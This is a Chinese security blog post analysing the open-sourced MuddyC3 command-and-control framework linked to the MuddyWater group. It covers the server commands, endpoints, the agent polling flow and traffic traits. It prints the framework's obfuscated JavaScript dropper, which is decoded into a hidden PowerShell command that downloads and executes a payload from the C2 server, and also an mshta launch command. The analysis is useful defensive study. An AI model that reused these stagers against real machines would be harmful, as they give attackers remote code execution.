污水攻击MuddyC3开源代码分析

污水攻击MuddyC3开源代码分析
2019-09-21 10:00:29 Author: www.freebuf.com(查看原文) 阅读量:195 收藏

免责声明

本文作者竭力保证文章内容可靠，但对于任何错误、疏漏或不准确的内容，作者不负任何责任。文章部分内容来源于网络是出于传递更多信息的目的，对此不负任何法律责任。本文仅用于技术分享与讨论，严禁用于其他用途。

前言

MuddyWater是一个伊朗威胁组织，主要针对中东、欧洲和北美国家。该组织针对的目标主要是电信，政府（IT服务）和石油部门。众多安全研究机构针对muddywater的样本进行了深入的研究。2019年6月24日，名为0xffff0800的用户在twitter上发表推文表示，其开源了污水攻击的python版代码。本文就该代码，一窥muddywater的攻击过程。

该用户在github上开源的代码有两个版本，本次我们分析的是1.0.1版本。

整体结构

MuddyC3的整体C2通信结构图如上所示：

整个通信过程有三个要素，即攻击端、C2网站和目的主机。其中C2网站指的是被攻击者拿到控制权限的web网站。C2网站可能不止一个。攻击过程中，攻击者将攻击指令以powershell代码的形式注入C2网站，被感染的目的主机主动向C2网站发送http请求，得到攻击命令，调用powershell接口执行命令。

APT攻击分三个阶段进行，分别是：（1）感染；（2）C2通信；（3）信息泄漏。本文中我们直接将恶意程序部署在目标主机上，因此感染阶段略去不提。值得注意的是，真实场景中，污水攻击感染过程通过传播宏病毒展开。目标主机感染宏病毒后会进行修改注册表等操作。

一、服务端

1.1服务端运行

运行muddyc3.py文件

需要输入ip、端口和是否需要代理输入完成后进入命令界面（见1.1.6help命令）

1.1.1 list命令

用来列举agent信息，列举结果示意如下：

1.1.2 show命令

目前尚未开发。

1.1.3 use命令

use命令后需要agent id作为参数，命令格式为：

use id

命令结果是进入id下的命令界面：

在该界面发出命令，相应命令分析见2.2.2节。以/get命令为例：

1.1.4 payload命令

payload命令列举出目前服务端程序中已有的powershell注入命令。

1.1.5 back命令

1.1.6 help命令

1.1.7 exit命令

exit命令结束客户端程序。

1.2参数分析

通过分析core.cmd.py文件，得出AGENTS字典中每个元素的结构如下：

角标	参数	归属
*	id	key值
0	ExternalIP	data
1	id	data
2	status	data
3	os	data
4	InternalIP	data
5	Arch	data
6	ComputerName	data
7	UserName	data

AGENT是一个’id:data’形式的字典，其中data格式如下：

角标	参数
0	id
1	status
2	Internal IP
3	OS
4	Arch
5	Computer Name
6	User Name

在core.webserver.py文件中，url访问功能分类如下：

编号	类别	表示方法	get/post	功能或结果
1	index	/	get	返回‘hello’
2	payload	/get	get	返回‘config/PAYLOAD()’
3	payloadc	/getc	get	返回‘toB52(config/PAYLOAD())’
4	payloadjf	/hjf	get	返回C://ProgramData下a.zip和b.ps1
5	payloadjfs	/hjfs	get	返回C://ProgramData下sct.ini
6	sct	/sct	get	返回ps1文件
7	mshta	/hta	get	返回ps1文件
8	info	/info/~	post	查询id，若不存在则在AGENTS中添加
9	download	/dl/~	post	从服务端指定路径下载文件
10	upload	/up		暂不支持该功能
11	img	/img/~	post	得到相关img
12	command	/cm/~	get	得到‘config.COMMAND[id]’中的命令
13	result	/re/~	post	得到指定id主机的data
14	modules	/md/~	post	添加模块

1.3webserver分析

运行后可以访问之前输入的C&C地址

访问index路径，即192.168.11.193:1234

访问get路径，得到payload

访问/getc路径得到payload的base64编码，另有/hjf、/hjfs路径与此相似

访问download路径

访问/info,由于info使用post包，

调整AGENTS和post请求包body结构后，结果如下：

第二次添加

访问info路径的post请求组成：

二、客户端

2.1客户端运行

python脚本中运行powershell命令，会出现安全问题

以管理员身份运行powershell，

2.2客户端流程

2.2.1访问/info

客户端开启后，首先访问/info进行注册，注册用id在本地是以随机数形式确定，然后向服务端发送post包。客户端首先向服务端询问对应id是否存在，若存在则服务端返回‘NONE’，客户端重新选取随机数进行注册直至成功。注册成功后，客户端反馈：

2.2.2访问/cm

带id访问/cm接口，访问/cm/[id],取得服务端发送的控制命令，控制命令组成如下：

编号	表示	意义
1	/get	访问/get接口
2	/getc	访问/getc接口
3	/hjf	访问/hjf接口
4	/hjfs	访问/hjfs接口
5	/sct	访问/sct接口
6	/hta	访问/hta接口
7	dl	访问/dl接口
8	/up	访问/up接口
9	/img	访问/img接口
10	/md	访问/md接口
11	其他	其他powershell可以直接执行的命令

服务端顺序发出了三个命令：

客户端取命令：

由此可见客户端取命令时按服务端下命令的顺序，一次取一个，取完之后所有命令后，再访问/cm/[id],得到的数据为空

2.2.3访问/re

客户端取出命令后执行，然后在/re/[id]接口返回执行结果。服务端的显示：

客户端的显示：

三、powershell命令分析

污水攻击的命令均以powershell方式执行，接下来我们跟随服务端给出的顺序来分析powershell命令。首先，服务端启动时，给出的网址为：

mshta http://192.168.11.193:1234/hta

访问hta：得到的js代码为：

var es = '%gk{dmFyI!~tPSJw,3dlcn~oZW-sI%1le!VjI!J5c!FzcyAtdyA-I%1jI%RWPW5ldy1vYmplY3Qg,mV0LndlYm~s[WVud@skVi5wc**4eT1,TmV0LldlYlJlcXVlc3Rd}jp$ZXRTeX~0ZW1XZWJQc**4eSgp}yRWLlBy,3h5Lk~yZWRl,nRpYW-zPVt}ZXQuQ3JlZ!Vud!lh,*~hY2hlXTo6R!VmYXVsd*~yZWRl,nRpYW-z}0lFW%gkVi5k,3du,!9hZ$~0cmluZygn[$R0c@ovLz*5Mi4-~jguMT*uMTkz}j*yMzQvZ2V0Jykp}yI7%nZhciB3MzJwcz0gR2V0T2JqZW~0{%d3[W5tZ210czon{S5$ZXQoJ1dp,jMyX1By,2~lc3~Td!Fyd$VwJyk7%nczMnBzLl~wYXduSW5zd!FuY2Vf{%k7%nczMnBzLl~o,3dX[W5k,3c9M@s{dmFyI$J0cm5@,2RlPUdld*9i[mVjd%gnd2lu,Wdtd$M6JykuR2V0{%dX[W4zMl9Qc**jZX~zJykuQ3JlYXRl{!~tL%dj}l-cJy-3MzJwcy-udW-s{Ts{';

eval(bas(es))；

其中对es变量做了如下混淆：

string = replaceAll(']','=',string);

      string = replaceAll('[','a',string);

      string = replaceAll(',','b',string);

      string = replaceAll('@','D',string);

      string = replaceAll('-','x',string);

      string = replaceAll('~','N',string);

      string = replaceAll('*','E',string);

      string = replaceAll('%','C',string);

      string = replaceAll('$','H',string);

      string = replaceAll('!','G',string);

      string = replaceAll('{','K',string);

      string = replaceAll('}','O',string);

      var characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";

      var result     = '';

解混淆后得到的js代码如下：

var cm="powershell -exec bypass -w 1 -c $V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX($V.downloadstring('http://192.168.11.193:1234/get'));";

var w32ps= GetObject('winmgmts:').Get('Win32_ProcessStartup');

w32ps.SpawnInstance_();

w32ps.ShowWindow=0;

var rtrnCode=GetObject('winmgmts:').Get('Win32_Process').Create(cm,'c:\\',w32ps,null);

在powershell中执行后，向http://192.168.11.193:1234/get发get请求，得到已经存在于服务端的payload.ps1文件的内容，但是由于payload.ps1没有开源，所以powershell的解析不能继续向下进行。

四、流量分析

捕获本地流量如下：

目的端口是在服务端输入指定，源端口随机。

（本次实验中指定的目的端口为1234，源端口从9141开始，每个包累加）

五、污水攻击特点总结

5.1心跳周期

被控端定期向主控端发出get请求，查看是否有新的命令。

http://192.168.11.193:1234/cm/[id]

5.2 http请求成对出现

一次取命令对应一次命令执行结果回传。

http://192.168.11.193:1234/cm/[id]

http://192.168.11.193:1234/re/[id]

5.3云控下发powershell脚本

传统远控采取命令约定方式，主控端向被控端发送命令代码，被控端在后门代码中匹配成功然后执行。

而污水攻击不再使用命令代码，而是就地采用被控端本地现有工具powershell，将命令以高度混淆的powershell形式下发，这样做保证了样本即使被捕获，恶意活动不会暴露、C2服务器不会被溯源。

5.4可滥用web2.0网站作为信息传输中介

任何主机可以不经注册访问网站，向网站发出http请求。

污水攻击利用的web2.0网站的服务器是攻击者控制的，因此有被溯源的风险。

5.5协议：http

明文不加密。